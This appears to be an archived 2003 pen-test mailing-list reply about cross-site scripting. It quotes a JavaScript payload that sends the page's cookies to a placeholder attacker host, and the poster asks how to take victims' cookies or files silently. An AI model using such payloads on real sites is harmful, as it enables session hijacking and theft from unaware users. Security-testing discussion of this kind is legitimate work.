RE: Proof of Concept Tool on Web Application Security

From: Indian Tiger (indiantiger@mailandnews.com)
Date: 04/13/03

  • Next message: Dawes, Rogan (ZA - Johannesburg): "RE: Proof of Concept Tool on Web Application Security"
    Date: Sun, 13 Apr 2003 03:33:12 -0400
    From: Indian Tiger <indiantiger@mailandnews.com>
    To: pen-test@securityfocus.com, rdawes@deloitte.co.za
    
    

    Hi Rogan,

    Comments in-line

    [script language=javascript]document.print("<img
    src='http://attacker.site/snarf?" + document.cookie + "'>")[/script]

    I have tested this and it works perfectly fine. In my scenario I gave as
    follows and it was working:
    <script> alert(‘hacked’) </script>

    Now I am testing Cross-Site Scripting to steal the client cookies, or any
    other sensitive information. I am working on my own pen-test-testing site,
    which is vulnerable to XSS. I was able to display the cookies of the client at
    the victim’s machine, but that was not my goal, my goal is to get that cookies
    on my machine or any desired location. So is there any way by which I can
    transfer the victim’s cookie or any other information at my machine without
    interaction of the victim.

    One way of transferring cookie information from the victim’s machine to
    attacker’s machine is to create a hidden filed & then transfer cookie
    information to that hidden field & then post (submit) this hidden field to web
    site of attacker. But this require interaction of victim, as victim must click
    on submit button to post this data to attacker’s site, which is not a good
    idea, the data should be transferred without knowledge of victim. So what
    should be the best way to this? How I can upload a file from victim machine to
    any other server?

    Any suggestions on the above topics will be highly appreciated.

    Thanking you,
    Sincerely,

    Indian Tiger, CISSP

    --------------------------------------------------------------
    Costs are climbing and complaints are rising
    as SPAM overloads your e-mail servers and Inboxes
    SurfControl E-mail Filter puts the brakes on spam & viruses
    and gives you the reports to prove it.
    http://www.securityfocus.com/SurfControl-pen-test2
    Download a free trial and see just
    what's going in and out of your organization.
    --------------------------------------------------------------


  • Next message: Dawes, Rogan (ZA - Johannesburg): "RE: Proof of Concept Tool on Web Application Security"